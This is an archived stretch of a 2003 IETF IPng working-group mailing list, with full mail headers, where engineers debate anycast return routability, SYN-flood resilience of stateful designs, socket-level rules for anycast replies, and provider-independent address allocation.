In-Reply-To: <3E37B9A5.2020600@nc.rr.com>
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>
	 <1043780822.18672.66.camel@devil>  <3E36FE17.10001@nc.rr.com>
	 <1043795472.23047.2.camel@devil>  <3E37B9A5.2020600@nc.rr.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043861730.23050.31.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 29 Jan 2003 19:35:30 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Wed, 2003-01-29 at 13:23, Brian Haberman wrote:
> Mika Liljeberg wrote:
> > I just spotted the following: the RR mechanism sends HoT to the anycast
> > address. How does that work? It might go to a completely different
> > server.
> 
> There is an assumption that there won't be a routing change on
> the anycast address between the first TCP SYN and the HoT.  Given
> the other problems a routing change would have, I feel it is a
> reasonable trade-off.

I'm just wondering if this holds true for load balancers. For
transaction type application one might want to send each connection to a
different server.

Susceptibility to DoS attacks is another consideration that needs some
attention, I think. The RR mechanim in MIPv6 is designed to require no
state in CN, but in the anycast RR mechanisms the roles are reversed:
here the anycast server is the one holding state.

In this, Pekka's ICMP idea seems better, since it does not require any
state in the anycast server.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 09:52:55 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THqsQb009620;
	Wed, 29 Jan 2003 09:52:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0THqso3009619;
	Wed, 29 Jan 2003 09:52:54 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THqpQb009612
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:52:51 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0THr1VL023253
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:53:01 -0800 (PST)
Received: from ms-smtp-02.southeast.rr.com (ms-smtp-02.southeast.rr.com [24.93.67.83])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA20898
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:52:55 -0700 (MST)
Received: from mail4.nc.rr.com (fe4 [24.93.67.51])
	by ms-smtp-02.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h0THpio5019910;
	Wed, 29 Jan 2003 12:51:46 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail4.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Wed, 29 Jan 2003 12:53:54 -0500
Message-ID: <3E3814F1.2040906@nc.rr.com>
Date: Wed, 29 Jan 2003 12:52:49 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Mika Liljeberg <mika.liljeberg@welho.com>
CC: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re: a few comments on anycast mechanisms
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>	 <1043780822.18672.66.camel@devil>  <3E36FE17.10001@nc.rr.com>	 <1043795472.23047.2.camel@devil>  <3E37B9A5.2020600@nc.rr.com> <1043861730.23050.31.camel@devil>
In-Reply-To: <1043861730.23050.31.camel@devil>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Mika Liljeberg wrote:
> On Wed, 2003-01-29 at 13:23, Brian Haberman wrote:
> 
>>Mika Liljeberg wrote:
>>
>>>I just spotted the following: the RR mechanism sends HoT to the anycast
>>>address. How does that work? It might go to a completely different
>>>server.
>>
>>There is an assumption that there won't be a routing change on
>>the anycast address between the first TCP SYN and the HoT.  Given
>>the other problems a routing change would have, I feel it is a
>>reasonable trade-off.
> 
> 
> I'm just wondering if this holds true for load balancers. For
> transaction type application one might want to send each connection to a
> different server.

The load balancer that I am aware of would actually use the source
address of the incoming packet as part of the algorithm to determine
which server to send the packet to.  So, for a short period of time,
packets with the anycast destination address and the same unicast
source address would be sent to the same server.

Now, I can't say that scenario is the common way to implement load
balancers.

> 
> Susceptibility to DoS attacks is another consideration that needs some
> attention, I think. The RR mechanim in MIPv6 is designed to require no
> state in CN, but in the anycast RR mechanisms the roles are reversed:
> here the anycast server is the one holding state.

Is that really true?  What about the Binding Cache?

To me, with this anycast approach, the anycast server is the mobile
node and the client is the correspondent node.  The mobile node
and the anycast server both hold state that identifies the home
address (anycast address) and the care-of address (unicast address).

Regards,
Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 10:06:29 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TI6TQb009760;
	Wed, 29 Jan 2003 10:06:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TI6T1C009759;
	Wed, 29 Jan 2003 10:06:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TI6PQb009752
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:06:25 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TI6ZVL028393
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:06:35 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA22209
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 11:06:29 -0700 (MST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0TI6fxA031703;
	Wed, 29 Jan 2003 20:06:42 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0TI6dHk031702;
	Wed, 29 Jan 2003 20:06:39 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Brian Haberman <bkhabs@nc.rr.com>
Cc: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
In-Reply-To: <3E3814F1.2040906@nc.rr.com>
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>
	 <1043780822.18672.66.camel@devil>  <3E36FE17.10001@nc.rr.com>
	 <1043795472.23047.2.camel@devil>  <3E37B9A5.2020600@nc.rr.com>
	 <1043861730.23050.31.camel@devil>  <3E3814F1.2040906@nc.rr.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043863599.23051.42.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 29 Jan 2003 20:06:39 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Wed, 2003-01-29 at 19:52, Brian Haberman wrote:
> > I'm just wondering if this holds true for load balancers. For
> > transaction type application one might want to send each connection to a
> > different server.
> 
> The load balancer that I am aware of would actually use the source
> address of the incoming packet as part of the algorithm to determine
> which server to send the packet to.  So, for a short period of time,
> packets with the anycast destination address and the same unicast
> source address would be sent to the same server.
> 
> Now, I can't say that scenario is the common way to implement load
> balancers.

Well, I don't know either.

> > Susceptibility to DoS attacks is another consideration that needs some
> > attention, I think. The RR mechanim in MIPv6 is designed to require no
> > state in CN, but in the anycast RR mechanisms the roles are reversed:
> > here the anycast server is the one holding state.
> 
> Is that really true?  What about the Binding Cache?

> To me, with this anycast approach, the anycast server is the mobile
> node and the client is the correspondent node.  The mobile node
> and the anycast server both hold state that identifies the home
> address (anycast address) and the care-of address (unicast address).

In MIPv6 the binding cache entry is created only after the binding is
authenticated. The CN holds no state during the RR procedure. Only MN
does. Since only authenticated bindings go into the cache, you can't
flood it very easily.

However, you could flood the anycast server with RR state simply by
sending a lot of SYN packets with different forged source addresses.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 10:19:52 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TIJqQb009898;
	Wed, 29 Jan 2003 10:19:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TIJqBi009897;
	Wed, 29 Jan 2003 10:19:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TIJnQb009890
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:19:49 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TIJwVK025839
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:19:59 -0800 (PST)
Received: from ms-smtp-02.southeast.rr.com (ms-smtp-02.southeast.rr.com [24.93.67.83])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA08688
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 11:19:53 -0700 (MST)
Received: from mail4.nc.rr.com (fe4 [24.93.67.51])
	by ms-smtp-02.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h0TIIjo5022688;
	Wed, 29 Jan 2003 13:18:45 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail4.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Wed, 29 Jan 2003 13:20:55 -0500
Message-ID: <3E381B46.40406@nc.rr.com>
Date: Wed, 29 Jan 2003 13:19:50 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Mika Liljeberg <mika.liljeberg@welho.com>
CC: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re: a few comments on anycast mechanisms
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>	 <1043780822.18672.66.camel@devil>  <3E36FE17.10001@nc.rr.com>	 <1043795472.23047.2.camel@devil>  <3E37B9A5.2020600@nc.rr.com>	 <1043861730.23050.31.camel@devil>  <3E3814F1.2040906@nc.rr.com> <1043863599.23051.42.camel@devil>
In-Reply-To: <1043863599.23051.42.camel@devil>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


>>>Susceptibility to DoS attacks is another consideration that needs some
>>>attention, I think. The RR mechanim in MIPv6 is designed to require no
>>>state in CN, but in the anycast RR mechanisms the roles are reversed:
>>>here the anycast server is the one holding state.
>>
>>Is that really true?  What about the Binding Cache?
> 
> 
>>To me, with this anycast approach, the anycast server is the mobile
>>node and the client is the correspondent node.  The mobile node
>>and the anycast server both hold state that identifies the home
>>address (anycast address) and the care-of address (unicast address).
> 
> 
> In MIPv6 the binding cache entry is created only after the binding is
> authenticated. The CN holds no state during the RR procedure. Only MN
> does. Since only authenticated bindings go into the cache, you can't
> flood it very easily.
> 
> However, you could flood the anycast server with RR state simply by
> sending a lot of SYN packets with different forged source addresses.

Doesn't MIPv6 have the same problem with flooding an MN with bogus
data as a DoS attack?  Casting aside any issues with a binding cache,
where is the difference between the anycast server and a mobile node?

Won't flooding with SYN packets have the same affect on a mobile node?

Brian


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 10:26:47 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TIQlQb010010;
	Wed, 29 Jan 2003 10:26:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TIQlB7010009;
	Wed, 29 Jan 2003 10:26:47 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TIQhQb010002
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:26:43 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TIQrVL005831
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:26:53 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA13005
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 11:26:47 -0700 (MST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0TIR2xA031789;
	Wed, 29 Jan 2003 20:27:03 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0TIR1tv031788;
	Wed, 29 Jan 2003 20:27:01 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Brian Haberman <bkhabs@nc.rr.com>
Cc: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
In-Reply-To: <3E381B46.40406@nc.rr.com>
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>
	 <1043780822.18672.66.camel@devil>  <3E36FE17.10001@nc.rr.com>
	 <1043795472.23047.2.camel@devil>  <3E37B9A5.2020600@nc.rr.com>
	 <1043861730.23050.31.camel@devil>  <3E3814F1.2040906@nc.rr.com>
	 <1043863599.23051.42.camel@devil>  <3E381B46.40406@nc.rr.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043864820.23051.46.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 29 Jan 2003 20:27:01 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Wed, 2003-01-29 at 20:19, Brian Haberman wrote:
> > However, you could flood the anycast server with RR state simply by
> > sending a lot of SYN packets with different forged source addresses.
> 
> Doesn't MIPv6 have the same problem with flooding an MN with bogus
> data as a DoS attack?  Casting aside any issues with a binding cache,
> where is the difference between the anycast server and a mobile node?
> 
> Won't flooding with SYN packets have the same affect on a mobile node?

Well, yes, but the idea is to protect the servers DoS attacks. Flooding
an MN only affects a single user, typically.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 11:28:23 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TJSNQb010262;
	Wed, 29 Jan 2003 11:28:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TJSMED010261;
	Wed, 29 Jan 2003 11:28:22 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TJSJQb010254
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 11:28:19 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TJSTVL027316
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 11:28:29 -0800 (PST)
Received: from tndh.net (evrtwa1-ar8-4-65-019-240.evrtwa1.dsl-verizon.net [4.65.19.240])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA23018
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 12:28:23 -0700 (MST)
Received: from eagleswings (127.0.0.1)
	by library with [XMail 1.10 (Win32/Ix86) ESMTP Server]
	id <S1E292> for <ipng@sunroof.eng.sun.com> from <alh-ietf@tndh.net>;
	Wed, 29 Jan 2003 11:28:20 -0800
Reply-To: <alh-ietf@tndh.net>
From: "Tony Hain" <alh-ietf@tndh.net>
To: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>,
   "'Margaret Wasserman'" <mrw@windriver.com>
Cc: <ipng@sunroof.eng.sun.com>
Subject: RE: Enforcing unreachability of site local addresses
Date: Wed, 29 Jan 2003 11:28:18 -0800
Message-ID: <008601c2c7cc$950454a0$b99b46ab@eagleswings>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
In-Reply-To: <963621801C6D3E4A9CF454A1972AE8F54B73@server2000.arneill-py.sacramento.ca.us>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0TJSKQb010255
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Michel Py wrote:
> Margaret,
> >> Michel Py wrote:
>...
> > Possibilities for how to allocate aggregable
> > provider-independent addresses could include (among other options)
> > the geographical addresses that Tony Hain has proposed.
> 
> > What term should I use for that?
> 
> If it is any different than the PI we have today, I don't 
> know, because it does not exist. As I said before, xxPI, or 
> "something that provides the perks of PI and is scalable". I 
> guess there is no universal name until you actually see the solution.
> 
> Tony's drafts has to components:
> a) An address allocation scheme, based on GPS coordinates.
> b) An aggregation mechanism, based on a form of exchange aggregation.
> 
> For the a) part we have a somehow simililar (in the sense 
> that it's based on geography also) allocation scheme, we 
> called it GAPI for Geographically Aggregatable Provider 
> Independent. 
> http://www.ietf.org/internet-drafts/draft-py-multi6-gapi-00.txt
>
> I don't like too much the association with the negative connotations 
> of "PI" (they're about as bad as "NAT"), but that's how we named it.
>
> For the b) part we have different schemes, which is why we have chosen

> to separate the naming of the drafts.
>
>
> That being said, there is nothing that says that the aggregation 
> mechanism should be based on geography, although we all seem to go in 
> the same direction. There is nothing that says that the scalability 
> should come from aggregation either.
>
> Technically, I still consider Tony's draft a PI draft, same as our 
> GFN:
> - The basic mechanism to inject the prefix in the routing system
>   is still there.
> - Aggregation is optional as there is no coupling between the
>   allocation scheme and the aggregation mechanism.
>
> As I have said before, geographically aggregatable schemes are 
> superior to PI in any situation, but they are far from being enough
alone.

Leaving the semantics discussion about PI aside, Michel points out there
are multiple ways to handle allocations that are not based on provider
hierarchy. They have different aggregation trade-offs, and none of them
are going to result in an absolutely optimized routing table for global
distribution. The point of aggregation is to mask details where they are
irrelevant. In a way, this discussion becomes a debate about the
definition and scope of the DFZ. Today the DFZ is expected to be
propagated globally. Maybe we should be questioning that assumption.

Even if you disagree with the geo approach, I would appreciate comments
on the current update to the companion document that discusses the need
for PI.
http://www.tndh.net/~tony/ietf/ipv6piaddressusage-04.txt
I believe the motivations apply no matter which 'PI' mechanism we end up
with.

Tony




--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 12:23:34 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TKNYQb010767;
	Wed, 29 Jan 2003 12:23:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TKNYf7010766;
	Wed, 29 Jan 2003 12:23:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TKNUQb010759
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 12:23:30 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TKNdVL016363
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 12:23:40 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA26188
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 13:23:34 -0700 (MST)
Subject: RE: Enforcing unreachability of site local addresses
Date: Wed, 29 Jan 2003 12:23:34 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B82@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
Content-class: urn:content-classes:message
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLHzJewpZutdmp5SLOeQcr6yreEFwABTnYA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Tony Hain" <alh-ietf@tndh.net>, "Margaret Wasserman" <mrw@windriver.com>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0TKNVQb010760
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Tony Hain
> Even if you disagree with the geo approach, I would appreciate
> comments on the current update to the companion document that
> discusses the need for PI.
> http://www.tndh.net/~tony/ietf/ipv6piaddressusage-04.txt

This text is very good, very comprehensive. I encourage everyone to read
it.

> I believe the motivations apply no matter which 'PI'
> mechanism we end up with.

I agree.

Michel.

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 14:17:13 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TMHDQb011131;
	Wed, 29 Jan 2003 14:17:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TMHDEY011130;
	Wed, 29 Jan 2003 14:17:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TMHAQb011123
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 14:17:10 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TMHJVK016827
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 14:17:19 -0800 (PST)
Received: from drugs.dv.isc.org (drugs.dv.isc.org [130.155.191.236])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA06510
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 15:17:11 -0700 (MST)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
	by drugs.dv.isc.org (8.12.6/8.12.6) with ESMTP id h0TMGiEN067081;
	Thu, 30 Jan 2003 09:16:46 +1100 (EST)
	(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200301292216.h0TMGiEN067081@drugs.dv.isc.org>
To: Mika Liljeberg <mika.liljeberg@welho.com>
Cc: Brian Haberman <bkhabs@nc.rr.com>, Pekka Savola <pekkas@netcore.fi>,
   ipng@sunroof.eng.sun.com
From: Mark.Andrews@isc.org
Subject: Re: a few comments on anycast mechanisms 
In-reply-to: Your message of "29 Jan 2003 19:26:50 +0200."
             <1043861210.23051.21.camel@devil> 
Date: Thu, 30 Jan 2003 09:16:44 +1100
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> On Wed, 2003-01-29 at 01:28, Mark.Andrews@isc.org wrote:
> > 	Well you don't actually want it lifted.  You don't want a
> > 	anycast address being used to *initiate* a transaction.
> 
> Why not?

	Because the reply traffic is *not* guaranteed to go back
	to the same instance.  The whole point of this thread is
	how to make the traffic go back to the correct instance.
 
> > 	You do however want to be able to *reply* using the anycast
> > 	address.  For UDP this is will need to be enforced at the
> > 	application layer, perhaps with an setsockopt so that the
> > 	application can inform the stack that it knows that this
> > 	is *potentially* a anycast addresss.  For TCP this can be
> > 	enforced lower down the stack.
> > 
> > 		e.g.
> > 
> > 			bind(fd, <anycast>);
> > 			connect(fd, <unicast>);
> > 
> > 		should fail but
> > 			int yes = 1;
> > 			bind(fd, <anycast>);
> > 			setsockopt(fd, ANYCASTSEND, &yes, sizeof(yes));
> > 			sendto(fd, <unicast>);
> 
> I don't think a socket option is needed. If an application binds
> explicitly to anything other than :: it's only fair to assume that it
> knows what it's doing.

	It's not a fair assumption that it knows that it is a anycast
	address.  Every existing application written today that allow
	selection of source address fails your test that it know what
	it is doing w.r.t. anycast addresses.
 
> Automatic source address selection should skip anycast addresses, of
> course.
> 
> 	MikaL
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
--
Mark Andrews, Internet Software Consortium
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark.Andrews@isc.org
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 15:04:36 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TN4aQb011360;
	Wed, 29 Jan 2003 15:04:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TN4al4011359;
